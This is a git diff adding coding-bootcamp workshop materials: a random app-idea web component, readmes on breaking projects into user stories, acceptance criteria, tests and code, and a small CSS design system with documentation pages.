+ + + diff --git a/breakdown/random-product.js b/breakdown/random-product.js new file mode 100644 index 00000000..1cd56d05 --- /dev/null +++ b/breakdown/random-product.js @@ -0,0 +1,100 @@ +// a vanilla web component that creates a random sentence from these component parts: +// Sentence skeleton: +// An app that [action] [object] for [audience] to [benefit] +// Example: An app that generates shopping lists for blind people to save time +class RandomProduct extends HTMLElement { + constructor() { + super(); + this.attachShadow({ mode: "open" }); + this.shadowRoot.innerHTML = `An app that [action] [object] for [audience] to [benefit]`; + + this.actions = [ + "generates", + "creates", + "builds", + "makes", + "constructs", + "designs", + "invents", + "develops", + "produces", + "assembles", + "composes", + "originates", + "devises", + "forms", + "generates", + "imagines", + "invents", + "produces", + "thinks up", + "visualises", + "displays", + "computes", + "interprets", + ]; + this.objects = [ + "maps", + "products", + "pictures", + "answers", + "directions", + "an API", + "palettes", + "patterns", + "menus", + "shopping lists", + "lyrics", + "quotes", + "recommendations", + "playlists", + ]; + this.audience = [ + "developers", + "programmers", + "coders", + "users", + "blind people", + "people from London", + "fans", + "women", + "men", + "refugees", + "trainees", + "teachers", + "designers", + ]; + this.benefit = [ + "save time", + "save money", + "save effort", + "save energy", + "save the universe", + "fight crime", + "explore possibilities", + "find new friends", + "get the cheapest one", + "find the best one", + "find love", + "develop new skills", + ]; + } + + connectedCallback() { + this.shadowRoot.innerHTML = this.generateSentence(); + } + + generateSentence() { + const action = this.getRandomItem(this.actions); + const object = this.getRandomItem(this.objects); + const audience = this.getRandomItem(this.audience); + const benefit = this.getRandomItem(this.benefit); + return `An app that ${action} ${object} for ${audience} to ${benefit}`; + } + + getRandomItem(array) { + return array[Math.floor(Math.random() * array.length)]; + } +} + +customElements.define("random-product", RandomProduct); diff --git a/breakdown/readme.md b/breakdown/readme.md new file mode 100644 index 00000000..5b1aa9a8 --- /dev/null +++ b/breakdown/readme.md @@ -0,0 +1,157 @@ + + +# Break it down + +https://www.whatshalfway.com/ + +Here is an app that helps users find a halfway point to meet up. + +> How does this work? + +> How would you build this in real life? + +You have probably done lots of tutorials where you follow along and copy what the teacher shows you, and this does teach you some simple things about programming. But it doesn't teach you how to solve your own problems or build your own products, and it doesn't help you when things go _wrong_. To understand how to develop really new things, you have to practice thinking up your own solutions and trying (and failing a lot). + +So let's start today by "reverse engineering" an existing app together. + +Start by identifying the core functionality of this app. Forget about the web page, or the fonts, or the name... what does this thing REALLY DO? **What is the simplest version of that function you can build and test.** + +Split into groups of 4-6. Choose one of the group to wear the User Hat. If in doubt, blocked, or making an assumption, ask the User what to do. + +## User Stories + + + +1. Set a [timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +2. Define a User Story: + "As a user, I want to do _x_ so that I can _y_." + + +
+Perhaps you said something like... + + +- As a user, I want to draw a line and cut it in half. +- As a user, I want to find the midpoint between me and my friend so we can meet for lunch. +- As a user, I want to enter two different locations and receive information about the geographic midpoint between them. + +
+ +--- + +Put all your user stories together and vote on the best one. Now let's spike on Acceptance Criteria. + +## Acceptance Criteria + + + +1. Set a [timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +2. Define Acceptance Criteria (Given/When/Then): + + _Given_ some scenario, _when_ I do something, _then_ I expect some outcome. + + + +
+Perhaps you said something like... + + +- _Given_ that I have two distinct geographical locations, +- _When_ I input these locations into the application, +- _Then_ I should be provided with the geographic midpoint between the two locations. + +
+ +--- + +Put all your acceptance criteria together and vote on the best one. Now we understand it more clearly, let's spike on a test for this feature. + +## Test + + + +1. Set a [timer for 15 minutes](https://www.google.com/search?q=timer+for+10+minutes). +2. Define a test: - What is the simplest test you can write to prove that your acceptance criteria is met? - What is the simplest code you can write to pass that test? + + +
+Perhaps you said something like... + + +```js +const calculateMidpoint = require("./calculateMidpoint"); + +test("calculateMidpoint calculates the correct midpoint", () => { + expect(calculateMidpoint(51.5074, 0.1278, 48.8566, 2.3522)).toEqual({ + lat: 50.182, + lon: 1.24, + }); +}); +``` + +This test defines two locations, London and Paris, and expects the midpoint between them to be calculated to three decimal places. + +You might not have chosen to use longitude and latitude at all, so your test might look different. That's ok! The important thing is that you have a test for the acceptance criteria you defined. + +
+ +--- + +Now that we have a test, we can write the simplest code to pass that test. + +## Code + + + +1. Set a [timer for 15 minutes](https://www.google.com/search?q=timer+for+10+minutes). +2. Write the simplest code to pass your test. + + +
+Perhaps you said something like... + + +```js +function calculateMidpoint(lat1, lon1, lat2, lon2) { + // Compute average latitude and longitude + const mid_lat = (lat1 + lat2) / 2; + const mid_lon = (lon1 + lon2) / 2; + + return { + lat: parseFloat(mid_lat.toFixed(3)), + lon: parseFloat(mid_lon.toFixed(2)), + }; +} + +module.exports = calculateMidpoint; +``` + +This code takes two locations, calculates the average latitude and longitude, and returns the midpoint between them, more or less. It's more complicated to calculate the midpoint between two points on a sphere accurately. + +So we have discovered something we need to ask our user about: + +> how accurate do you need this to be? + +Remember we are writing the simplest thing that can possibly _work_. For now, we'll use this rough calculation. + +
+ +--- + +OK that's a spike! We have a test and some code that passes that test. We can go forward and build this app for the rest of the day if we like. But first, let's do it again with a different product. + +## Practice makes permanent + +Go to the [CYF Product Factory](http://cyf-random-product-factory.netlify.app) and get a random product. Break it down into user stories, acceptance criteria, tests, and code. + +1. Discover the core functionality of the product. +2. Write a user story for that functionality. +3. Write acceptance criteria for that user story. +4. Write a test for that acceptance criteria. +5. Write code to pass that test. diff --git a/breaking-down-quote-app/README.md b/breaking-down-quote-app/README.md new file mode 100644 index 00000000..f6f17766 --- /dev/null +++ b/breaking-down-quote-app/README.md @@ -0,0 +1,117 @@ +# Breaking down the quote generator + +You should have already followed the prep to design, write, and deploy a quote generator. + +We already broke down this project into steps. We're going to talk about the techniques that helped us to do this breaking down. This will help you to break down projects yourself in the future. + +Get into groups of about 5, with at least one volunteer per group. + +## Axes to break down by (20 minutes) + +There are different ways we can break down a project. For instance: +* We could write the whole frontend, then the whole backend (or the whole backend then the whole frontend). +* We could build one entire feature in the frontend and backend, then another feature in the frontend and backend. +* We could write down the whole API between the backend and frontend, and then build one, then the other. + +There are other ways we could break down the project too. + +Spend 3 minutes thinking of different ways you could break down a project. + +Spend 10 minutes discussing all of your ideas (including the suggestions above) in your group. What advantages does each approach have? What disadvantages does each have? + +Are the answers different depending on the number of people working on the project? + +Are the answers different depending on whether you have specialists (e.g. one person who is specialised in frontend and one specialised in backend) vs generalists (people who can do a bit of everything)? + +Can you think of ways to combine approaches, to get the advantages of different approaches? + +
+ +Hints for volunteers + +We're generally trying to get towards: +* Breaking down by feature is useful (proves out end-to-end design, provides incremental value, ...). +* Thinking about data / APIs can help us to develop components in parallel. +* We can often interact with components in isolation for testing, e.g. `curl` testing against a backend, dummy backends for testing frontends, etc. +
+ +## User journey mapping + +### Collecting features (5 minutes) + +We often first break down projects by feature. We try to build entire end-to-end journeys for one thing a user can do at a time. + +One example of a feature our quote generator has is "Add a quote". + +Spend 2 minutes thinking of as many features as you can for our quote generator. These don't have to be things we _have_ implemented, they can also be things we _haven't implemented yet_. For instance, I can imagine after adding a quote, a user may want to share a link to _that_ quote with someone - our server doesn't support this right now (it only shows random quotes). But this is still a feature we can imagine. + +In your group, make a list of all of the features you have thought of. + +
+ +Some examples if you're really stuck + +* Displaying a quote on first load. +* Displaying new quotes on demand. +* Adding new quotes. +* Seeing the quote you just added actually got added. +* Sharing a link to a specific quote. +* Displaying a new quote that is guaranteed not to have been show before. +* Showing statistics about how often a quote has been displayed. +* Up/down-voting quotes. +* Finding quotes on similar themes. +* Listing all of the quotes by a particular person. +* Auto-grouping similar quote authors (e.g. "FDR" and "Franklin Roosevelt" are the same person). + +
+ +### Mapping features (20 minutes) + +Pick three features and create user journey maps for them. Use [the user journey mapping intro you read](https://www.nngroup.com/articles/journey-mapping-101/) to help you - who wants to use each feature? What do they want to achieve? What steps would they need to achieve their goals? What would they experience on the way? + +## Making a plan + +### Unlocking parallelism and feedback (10 minutes) + +When developing, we want to get feedback as quickly as we can. We don't want to have to build a whole backend and a whole frontend and a whole database in order to see whether any one piece works. + +It can be helpful to think about the _interfaces_ between these components before building them. Asking questions like: +* For each operation, what data will we need to pass from the frontend to the backend? +* For each operation, what data will we need to pass from the backend to the frontend? + +In our quote generator, this may mean asking questions like: +* What information does the frontend need from the backend in order to display a quote? (The answer here may be: An object containing two fields - the quote as a string, and the author as a string). +* What information does the frontend need to give the backend to save a quote? +* What information does the frontend need to give the backend in order to get a specific quote? (This question may suggest we need some kind of ID for each quote, which we can put in a URL, but don't show to the user in the page). +* What information does the frontend need to give the backend if it wants to guarantee the next quote it shows hasn't been shown to this user before? + +For each of the three features your have mapped, write down what information needs to be sent between which components in order to perform an action. Be specific. Include names and types of each field. + +### Agreeing on data formats and APIs + +Now that we know what data we need to pass where, we can come up with the APIs we need to build. This can happen at multiple levels, e.g. you can decide: +* The backend APIs your frontend will call (and what the requests and responses will look like). +* The function one part of your frontend will call to to generate a component for some data. +* The frontend URLs that a user can visit to interact with the application, and what they will do. +* And more. + +By agreeing on these things, we can start building them in parallel - one person can be working on one side of the API (like the backend endpoint, or a function) while another works on the code that will call it. + +### Using dummy data + +We can even use fake versions of these APIs with dummy data. + +One of our user journeys is "When I load the page, a quote is displayed". Some ways we can develop this without having a whole backend: +* We can write the frontend code to display a quote with one hard-coded quote. +* We can write a `fetchQuote` function in the frontend which doesn't call a backend but instead always returns one quote _in the data format we've agreed_. +* We can fetch a quote, but write a small backend where the "get quote" endpoint always returns one quote (while someone makes the backend do something more complicated like choose a random quote). + +These are all ways we can develop and test our frontend before completing the whole system. Agreeing on a data format, and APIs, makes it easier for us to do this. + +### Making a plan (30 minutes) + +For each of the three user journey maps you've created, make a plan for how you could break these down and implement them. + +You should work out the data formats, work out the APIs, and work out how different people could be working on different parts of the implementation at the same time. + +Write down tickets for each task that contain enough information that someone could pick up the ticket and work on it. Make sure to identify which tickets _depend_ on which other tickets (i.e. which ones need to be done before each other). diff --git a/clean-code/README.md b/clean-code/README.md new file mode 100644 index 00000000..6ffa091c --- /dev/null +++ b/clean-code/README.md @@ -0,0 +1,16 @@ +# Clean Code Workshop + +## Learning objectives + +```objectives +- [ ] Identify properties which make code easier to read and modify. +- [ ] Compare the cleanliness of code. +``` + +Spend approximately 45 minutes on this exercise. + +Open [this Clean Code workshop presentation](https://docs.google.com/presentation/d/1G6XjmL7U9013v0Pw9R5nHrzRdWdnNzdbDUBMy_gdJpk/edit). Work through the whole thing together as a group. The "Gilded Rose" Kata is not required to be done in class, but we recommend you try it on your own after class if you didn't get to it. + +For each "Better or worse?" question, every member of the class should move to one side of the room or the other to vote for which piece of code they prefer. + +People who voted each way should share with the class why they prefer the code they voted for. diff --git a/collective-job-hunting/readme.md b/collective-job-hunting/readme.md new file mode 100644 index 00000000..0ddde211 --- /dev/null +++ b/collective-job-hunting/readme.md @@ -0,0 +1,31 @@ +# Collective Job Hunting 💼 + +Our goal in this workshop is to look for jobs together as a community. By working together, we can motivate and support each other in our collective goal of finding new jobs in tech. In this workshop, we will focus on the following objectives: + + +## Learning Objectives + +```objectives +- [ ] Search for jobs using different online platforms +- [ ] Locate the Collective Job Research form +- [ ] Identify key company information in a job advert +- [ ] Add 1 job role to the Collective Job Research form +- [ ] Check the suitability of the found job roles +``` + +## Set up ⚙️ +- Split up into groups of no more than 5 + +## Job hunting 🔍 + +- Set a whole class timer for 25 mins ⏱️ +- Split the group up into teams of no more than 5 people + + +1. Find the Collective Job Research form. +1. Each team should select no more than 3 different platforms to use based on the first tab of the Collective Job Research form. Each team should use a different set of platforms than the other team. +1. Search for jobs using appropriate keywords and filters. +1. Identify a suitable job role that you want to apply for. +1. Find the job opening advertised on the company website if possible. +1. Identify key company information in the job advert. +1. Add the link and information about the vacancy to the Collective Job Research spreadsheet. diff --git a/components-1/assets/app.js b/components-1/assets/app.js new file mode 100644 index 00000000..ff9773da --- /dev/null +++ b/components-1/assets/app.js @@ -0,0 +1,26 @@ +// menu toggle - this is just like your curriculum site +const menuToggle = document.getElementById("toggle"); +const menu = document.getElementById("menu"); +const skipLink = document.getElementById("skip-link"); + +function toggleMenu() { + menu.classList.toggle("is-active"); + menu.toggleAttribute("hidden"); + if (menu.getAttribute("hidden") == null) { + menu.focus(); + } else { + skipLink.focus(); + } +} +menuToggle.addEventListener("click", toggleMenu); + +// if the menu is open listen for escape key to close it +window.addEventListener("keydown", (e) => { + if (e.key === "Escape" && menu.classList.contains("is-active")) { + toggleMenu(); + } + // if meta plus slash key combination is pressed toggle the menu + if (e.key === "/" && e.metaKey) { + toggleMenu(); + } +}); diff --git a/components-1/assets/styles.css b/components-1/assets/styles.css new file mode 100644 index 00000000..706fedc7 --- /dev/null +++ b/components-1/assets/styles.css @@ -0,0 +1,12 @@ +@import url(../docs/theme/styles.css); +@import url(../docs/reset/styles.css); +@import url(../docs/base/styles.css); + +@import url(../docs/layout/styles.css); + +@import url(../docs/header/styles.css); +@import url(../docs/main/styles.css); +@import url(../docs/menu/styles.css); +@import url(../docs/footer/styles.css); +@import url(../docs/card/styles.css); +@import url(../docs/copy/styles.css); diff --git a/components-1/docs/base/index.html b/components-1/docs/base/index.html new file mode 100644 index 00000000..13a564bf --- /dev/null +++ b/components-1/docs/base/index.html @@ -0,0 +1,127 @@ + + + + + + Design System: Base + + + + + + + +
+

+ + + + +

+

Base

+ +
+ +
+
+ +

Base

+ 👟 +
+ +

Base CSS

+ +
+
+
+

Documentation

+

Here is the base documentation for our tiny design system.

+
    +
  1. Base are a few simple general rules for html elements
  2. +
  3. Base also holds a few extra states as classes
  4. +
  5. Base styles are not very opinionated
  6. +
+
+
+ + + diff --git a/components-1/docs/base/styles.css b/components-1/docs/base/styles.css new file mode 100644 index 00000000..931d7568 --- /dev/null +++ b/components-1/docs/base/styles.css @@ -0,0 +1,46 @@ +/* Our base rules for the whole site */ +body { + font: 100%/1.5 var(--copy), system-ui, sans-serif; + background-color: var(--paper); + color: var(--ink); +} + +/* Rules for interactive elements like links and buttons. +What happens when you change the order of these rules around? */ +a, +a:any-link, +button { + color: currentColor; + text-decoration: none; + font-weight: bold; + transition: all 0.3s; +} +:focus { + outline: none; +} +a:hover, +a:focus, +button:hover, +button:focus { + color: var(--brand); +} +a:focus, +button:focus { + outline: 2px dashed var(--brand); +} +button { + grid-area: button; + appearance: none; + border: none; + background: transparent; +} + +/* states */ + +.is-invisible { + position: absolute; + left: -100vw; +} +.is-invisible:focus { + left: 0; +} diff --git a/components-1/docs/card/card.txt b/components-1/docs/card/card.txt new file mode 100644 index 00000000..f7459877 --- /dev/null +++ b/components-1/docs/card/card.txt @@ -0,0 +1,4 @@ + +

Card

+ 📇 +
\ No newline at end of file diff --git a/components-1/docs/card/index.html b/components-1/docs/card/index.html new file mode 100644 index 00000000..965ecdb3 --- /dev/null +++ b/components-1/docs/card/index.html @@ -0,0 +1,138 @@ + + + + + + Design System: Header + + + + + + + +
+

+ + + + +

+

Footer

+ +
+ +
+
+ +

Card

+ 📇 +
+ +

Card HTML

+ +
+ +

Card CSS

+ +
+
+
+

Documentation

+

Here is the card documentation for our tiny design system.

+
    +
  1. A card should be a link.
  2. +
  3. Cards must be given the classes shown.
  4. +
  5. A card must contain a heading.
  6. +
  7. A card may contain an emoji or object.
  8. +
+
+
+ + + diff --git a/components-1/docs/card/styles.css b/components-1/docs/card/styles.css new file mode 100644 index 00000000..a970d220 --- /dev/null +++ b/components-1/docs/card/styles.css @@ -0,0 +1,19 @@ +.card { + background-color: var(--paper); + box-shadow: 2px 4px 16px var(--shade); + display: flex; + flex-flow: column-reverse; + align-items: center; + overflow: hidden; +} +.card:hover, +.card:focus { + box-shadow: 1px 1px 2px var(--shade); +} +.card__emoji { + font-size: clamp(64px, calc(64px + 5vw), 144px); +} + +.card__code { + overflow: scroll; +} diff --git a/components-1/docs/footer/footer.txt b/components-1/docs/footer/footer.txt new file mode 100644 index 00000000..6e0eaa4f --- /dev/null +++ b/components-1/docs/footer/footer.txt @@ -0,0 +1,6 @@ + \ No newline at end of file diff --git a/components-1/docs/footer/index.html b/components-1/docs/footer/index.html new file mode 100644 index 00000000..53d20432 --- /dev/null +++ b/components-1/docs/footer/index.html @@ -0,0 +1,137 @@ + + + + + + Design System: Header + + + + + + + +
+

+ + + + +

+

Footer

+ +
+ +
+
+ +

Footer

+ 🦶 +
+ +

Footer HTML

+ +
+ +

Footer CSS

+ +
+
+
+

Documentation

+

Here is the footer documentation for our tiny design system.

+
    +
  1. Footer must use the footer element
  2. +
  3. The footer must be given the class shown.
  4. +
  5. Footer may have a github link.
  6. +
+
+
+ + + diff --git a/components-1/docs/footer/styles.css b/components-1/docs/footer/styles.css new file mode 100644 index 00000000..d45817fa --- /dev/null +++ b/components-1/docs/footer/styles.css @@ -0,0 +1,8 @@ +.footer { + grid-area: footer; + display: grid; + grid-template: "github space" var(--finger) / var(--finger) 1fr; +} +.footer__link { + grid-area: github; +} diff --git a/components-1/docs/header/header.txt b/components-1/docs/header/header.txt new file mode 100644 index 00000000..d941e5a5 --- /dev/null +++ b/components-1/docs/header/header.txt @@ -0,0 +1,40 @@ +
+

+ + + + +

+

Header

+ +
\ No newline at end of file diff --git a/components-1/docs/header/index.html b/components-1/docs/header/index.html new file mode 100644 index 00000000..c8440c43 --- /dev/null +++ b/components-1/docs/header/index.html @@ -0,0 +1,138 @@ + + + + + + Design System: Header + + + + + + + +
+

+ + + + +

+

Header

+ +
+ +
+
+ +

Header

+ 💆 +
+ +

Header HTML

+ +
+ +

Header CSS

+ +
+
+
+

Documentation

+

Here is the header documentation for our tiny design system.

+
    +
  1. Header must use the header element
  2. +
  3. The header must be given the classes shown.
  4. +
  5. Header must identify the site it is on.
  6. +
  7. Header must identify the page it is on.
  8. +
+
+
+ + + diff --git a/components-1/docs/header/styles.css b/components-1/docs/header/styles.css new file mode 100644 index 00000000..750abc41 --- /dev/null +++ b/components-1/docs/header/styles.css @@ -0,0 +1,16 @@ +.header { + grid-area: header; + display: grid; + grid-template: + "logo space page button" var(--finger) / + var(--finger) var(--space) 1fr var(--finger); +} +.header__heading { + grid-area: logo; + margin: 0; +} +.header__page { + grid-area: page; + margin: 0 auto auto 0; + font-size: 2em; +} diff --git a/components-1/docs/layout/index.html b/components-1/docs/layout/index.html new file mode 100644 index 00000000..26e83756 --- /dev/null +++ b/components-1/docs/layout/index.html @@ -0,0 +1,126 @@ + + + + + + Design System: Layout + + + + + + + +
+

+ + + + +

+

Layout

+ +
+ +
+
+ +

Layout

+ 🍱 +
+ +

Layout CSS

+ +
+
+
+

Documentation

+

Here is the layout documentation for our tiny design system.

+
    +
  1. Layout is applied to the body
  2. +
  3. Layout expects a header, footer, and main
  4. +
+
+
+ + + diff --git a/components-1/docs/layout/styles.css b/components-1/docs/layout/styles.css new file mode 100644 index 00000000..ece2168d --- /dev/null +++ b/components-1/docs/layout/styles.css @@ -0,0 +1,15 @@ +/* LAYOUT +*/ +body { + display: grid; + gap: var(--space); + grid-template: + ". ...... ." var(--space) + ". header ." min-content + ". ...... ." var(--space) + ". main ." minmax(75vh, 1fr) + ". footer ." min-content + ". ...... ." var(--space) / + minmax(var(--space), 1fr) var(--container) minmax(var(--space), 1fr); + place-content: center; +} diff --git a/components-1/docs/main/index.html b/components-1/docs/main/index.html new file mode 100644 index 00000000..5ad6caad --- /dev/null +++ b/components-1/docs/main/index.html @@ -0,0 +1,138 @@ + + + + + + Design System: Main + + + + + + + +
+

+ + + + +

+

Main

+ +
+ +
+
+ +

Main

+ 🗻 +
+ +

Main HTML

+ +
+ +

Main CSS

+ +
+
+
+

Documentation

+

Here is the main documentation for our tiny design system.

+
    +
  1. Main must use the main element
  2. +
  3. Main must have a tabindex of zero
  4. +
  5. Main may contain a deck
  6. +
  7. Main may contain copy
  8. +
+
+
+ + + diff --git a/components-1/docs/main/main.txt b/components-1/docs/main/main.txt new file mode 100644 index 00000000..10555bbd --- /dev/null +++ b/components-1/docs/main/main.txt @@ -0,0 +1,6 @@ +
+
+
+
+
+
\ No newline at end of file diff --git a/components-1/docs/main/styles.css b/components-1/docs/main/styles.css new file mode 100644 index 00000000..398c01e0 --- /dev/null +++ b/components-1/docs/main/styles.css @@ -0,0 +1,25 @@ +.main { + grid-area: main; + display: flex; + flex-flow: row wrap; + gap: var(--space); +} + +.main__deck { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(var(--box), 1fr)); + gap: var(--space); +} + +.main__copy { + /* Why have I constrained this box? Google it! */ + max-width: var(--line-length); +} + +.main__copy p:first-of-type::first-letter { + initial-letter: 2; + margin: 0 0.5ch 0 0; + padding: 0.5ch; + background-color: var(--brand); + color: var(--paper); +} diff --git a/components-1/docs/menu/index.html b/components-1/docs/menu/index.html new file mode 100644 index 00000000..6e25ce12 --- /dev/null +++ b/components-1/docs/menu/index.html @@ -0,0 +1,148 @@ + + + + + + Design System: Menu + + + + + + + +
+

+ + + + +

+

Menu

+ +
+ +
+
+ +

Menu

+ 🗄️ +
+ +

Menu HTML

+ +
+ +

Menu JS

+ +
+ +

Menu CSS

+ +
+
+
+

Documentation

+

Here is the menu documentation for our tiny design system.

+
    +
  1. A menu must be given the menu classes shown
  2. +
  3. A menu must contain a nav and links
  4. +
  5. A menu must be hidden by default
  6. +
  7. A menu must be keyboard accessible
  8. +
+
+
+ + + diff --git a/components-1/docs/menu/menu.js b/components-1/docs/menu/menu.js new file mode 100644 index 00000000..6cb38846 --- /dev/null +++ b/components-1/docs/menu/menu.js @@ -0,0 +1,26 @@ +// menu toggle - this is just like your curriculum site +const menuToggle = document.getElementById("toggle"); +const menu = document.getElementById("menu"); +const start = document.querySelector("body"); + +function toggleMenu() { + menu.classList.toggle("is-active"); + menu.toggleAttribute("hidden"); + if (menu.getAttribute("hidden") == null) { + menu.focus(); + } else { + start.focus(); + } +} +menuToggle.addEventListener("click", toggleMenu); + +// if the menu is open listen for escape key to close it +window.addEventListener("keydown", (e) => { + if (e.key === "Escape" && menu.classList.contains("is-active")) { + toggleMenu(); + } + // if meta plus slash key combination is pressed toggle the menu + if (e.key === "/" && e.metaKey) { + toggleMenu(); + } +}); diff --git a/components-1/docs/menu/menu.txt b/components-1/docs/menu/menu.txt new file mode 100644 index 00000000..5f690450 --- /dev/null +++ b/components-1/docs/menu/menu.txt @@ -0,0 +1,19 @@ + diff --git a/components-1/docs/menu/styles.css b/components-1/docs/menu/styles.css new file mode 100644 index 00000000..801e0477 --- /dev/null +++ b/components-1/docs/menu/styles.css @@ -0,0 +1,13 @@ +.menu { + background-color: var(--ink); + color: var(--paper); + height: 100vh; + width: max-content; + padding: var(--space); + z-index: 1; + position: absolute; + left: -100vw; +} +.menu.is-active { + left: 0; +} diff --git a/components-1/docs/reset/index.html b/components-1/docs/reset/index.html new file mode 100644 index 00000000..673ba9a2 --- /dev/null +++ b/components-1/docs/reset/index.html @@ -0,0 +1,128 @@ + + + + + + Design System: Reset + + + + + + + +
+

+ + + + +

+

Theme

+ +
+ +
+
+ +

Reset

+ 🗑️ +
+ +

Reset CSS

+ +
+
+
+

Documentation

+

Here is the reset documentation for our tiny design system.

+
    +
  1. Resets are conservative
  2. +
  3. + Resets are only applied to default HTML elements without classes +
  4. +
+
+
+ + + diff --git a/components-1/docs/reset/styles.css b/components-1/docs/reset/styles.css new file mode 100644 index 00000000..859d163c --- /dev/null +++ b/components-1/docs/reset/styles.css @@ -0,0 +1,20 @@ +/* Read about resets on CSS Tricks, A List Apart, and Josh Comeau +https://www.joshwcomeau.com/css/custom-css-reset/ */ + +/* What does this rule do? Try removing it. */ +* { + box-sizing: border-box; +} +/* What about this one? +Make a prediction first and then find and uncheck this rule in Devtools */ +body, +html { + padding: 0; + margin: 0; +} +ul, +ul li { + list-style: none; + margin: 0; + padding: 0; +} diff --git a/components-1/docs/theme/index.html b/components-1/docs/theme/index.html new file mode 100644 index 00000000..27d150ae --- /dev/null +++ b/components-1/docs/theme/index.html @@ -0,0 +1,126 @@ + + + + + + Design System: Theme + + + + + + + +
+

+ + + + +

+

Theme

+ +
+ +
+
+ +

Theme

+ 🎨 +
+ +

Theme CSS

+ +
+
+
+

Documentation

+

Here is the theme documentation for our tiny design system.

+
    +
  1. We set the fonts, colours, and spacings as variables
  2. +
  3. + Variables must describe relationships or behaviours, not values +
  4. +
  5. Only variables are allowed in this component
  6. +
+
+
+ + + diff --git a/components-1/docs/theme/styles.css b/components-1/docs/theme/styles.css new file mode 100644 index 00000000..a1e8975b --- /dev/null +++ b/components-1/docs/theme/styles.css @@ -0,0 +1,20 @@ +/* Here's our design +It's fonts, colours, and spacing. +Every design is made of these basic building blocks. +Change the values to make a completely new look */ + +:root { + /* fonts */ + --copy: "Lato"; + /* colours */ + --paper: hsla(260, 35%, 90%, 0.95); + --ink: hsla(270, 8%, 20%, 0.98); + --brand: hsla(0, 100%, 67%, 0.98); + --shade: hsla(270, 8%, 20%, 0.1); + /* spacing */ + --space: 2rem; + --box: 18rem; + --container: clamp(var(--box), calc(100vw - calc(var(--space) * 2)), 74rem); + --finger: 48px; + --line-length: 60ch; +} diff --git a/components-1/docs/what-are-components.html b/components-1/docs/what-are-components.html new file mode 100644 index 00000000..9bfc5044 --- /dev/null +++ b/components-1/docs/what-are-components.html @@ -0,0 +1,202 @@ + + + + + + CYF Components Workshop + + + + + + + +
+

+ + + + +

+

Components Workshop

+ +
+ +
+ +
+

+ When we build visual web pages we always use these building blocks: + fonts colours, and spacing. Every site you + see uses these building blocks to show the user an interface. +

+

+ 🧩 Components +

+

+ In fact they use these building blocks to design + components. The components are composed on the page to make a user + interface. All web coding is the composition of small, simple + pieces into more and more complex systems. +

+ +

+ It is the job of a developer to build the smallest, simplest piece she + can. We are always operating within a wafer thin layer of a vastly + more complex system, and it's our job to make that layer as clear and + simple as possible, so all the other layers can predict what + it might do. +

+

Design System

+

+ Design systems are libraries of premade components that developers use + to compose interfaces. Each design system reflects the priorities of + the developers who made them. +

+

+ GDS, + the UK government design system, is a good example of a design system + made and tested a lot to be accessible, because everyone in the UK has + to use it. + W3C Design System + is another good example of a design system made to be accessible, + because it's made by the people who make the web standards. +

+

+ Notice how even components with similar names and similar goals are + constructed differently. All design systems are different, but the + underlying format is recognisable. Just like every detective novel is + different, but the + genre as a whole + is recognisable. +

+ +

Collaboration

+

+ When we build a house, the roofer cannot begin until the walls are up. + But when we build a web application, we can build many parts at the + same time. I can build cards while you set up a database. We can even + build different parts of the same page at the same time. We do this by + isolating our work into separate components. +

+

+ 🧪 + Pattern Recognition, Pattern Definition +

+

+ Developers are collaborators, + composers, + conductors. Like musicians, developers describe their work in terms of + rules for others to understand and use that work. In this way, + developers can construct systems by organising many existing pieces + into a new symphony. But in order to do this, developers have to + constantly recognise, describe, and reproduce patterns. +

+
+
+ + + diff --git a/components-1/index.html b/components-1/index.html new file mode 100644 index 00000000..792db969 --- /dev/null +++ b/components-1/index.html @@ -0,0 +1,120 @@ + + + + + + CYF Components Workshop + + + + + + + +
+

+ + + + +

+

Components Workshop

+ +
+ +
+ +
+ +
+
+ + + + diff --git a/components-1/readme.md b/components-1/readme.md new file mode 100644 index 00000000..81f3641a --- /dev/null +++ b/components-1/readme.md @@ -0,0 +1,100 @@ +# First Components + +Today we're going to think about components. We're going to build a page using a design system and we're going to collaborate on a feature branch workflow. + +The overall mission is to compose "components" / groupings of HTML elements to re-build this web page: [CYF Components Workshop](https://cyf-workshop.netlify.app/components-1). + +## Learning Objectives + +```objectives +- [ ] Use a design system to build a component from a documented pattern +- [ ] Collaborate on a feature branch workflow to build a page +``` + +## Requirements + +Before you start, make sure you've installed the [CYF Extension Pack](https://marketplace.visualstudio.com/items?itemName=CodeYourFuture.cyf-extension-pack) in VS Code. + + + +### Set up your feature branches + +Divide the class into three teams: header, footer, card. Use the [team generator](https://cyf-workshop.netlify.app/components-1/teams.html) to help you do this. + +Set a whole class [timer for 10 minutes](https://www.google.com/search?q=10+minute+timer). + +### Each team, choose a driver + +1. Driver, **clone** [this repository](https://github.com/CodeYourFuture/CYF-Workshops/) +1. Driver, create and checkout a new branch for your team named like this: `feature/cohort-component`, where _cohort_ is your cohort name and _component_ is the component you're building, for example: `feature/nw6-header` + +```bash +git switch --create feature/cohort-component +``` + +Now you're all set up to make changes to together.html. + + + + + +## Find your docs + +Set a whole class [timer for 10 minutes](https://www.google.com/search?q=10+minute+timer). + +Deployed from this repo is a [mini design system](https://cyf-workshop.netlify.app/components-1). This design system has several documented components: [card](https://cyf-workshop.netlify.app/components-1/docs/card), [header](https://cyf-workshop.netlify.app/components-1/docs/header), and [footer](https://cyf-workshop.netlify.app/components-1/docs/footer). Each component view has some sample code and some statements about the components. + +Your mission is to find the docs for your component and read them. + + + +### Together separately + +Set a whole class [timer for 30 minutes](https://www.google.com/search?q=30+minute+timer). + + + +Now **build** your component. Elect a new driver. + +1. Find [together.html](https://cyf-workshop.netlify.app/components-1/together.html) in the /components-1 directory. Your mission is to complete this page. +1. In the correct portion of the page, make your changes to build your feature on together.html. +1. Driver, commit your changes to your feature branch. +1. Open a pull request from your branch to main, with your changes. +1. Remember, docs will help you. +1. Do the simplest thing that could possibly work to begin with. You can always update your PR with more changes. + +```mermaid +gitGraph + commit id: "start" + branch feature/cohort-component + commit id: "paste html from docs" + commit id: "fill in the blanks" + commit id: "lighthouse revisions" + checkout main + merge feature/cohort-component +``` + + + +### Review and merge + +Now we're going to review each other's work. If a mentor is available, they can be the driver for this part and you can actually merge your PRs. If not, please don't try to merge as you could make a mess of this shared repo. + +**Note to mentor**: please revert together.html to the initial commit after you're done so the next class can use it. (Or if your group has time for it, you can merge on a fork instead.) + +Set a whole class [timer for 30 minutes](https://www.google.com/search?q=30+minute+timer). + + + +1. Go to the [pull requests](https://github.com/CodeYourFuture/CYF-Workshops/pulls) for this repo. +1. 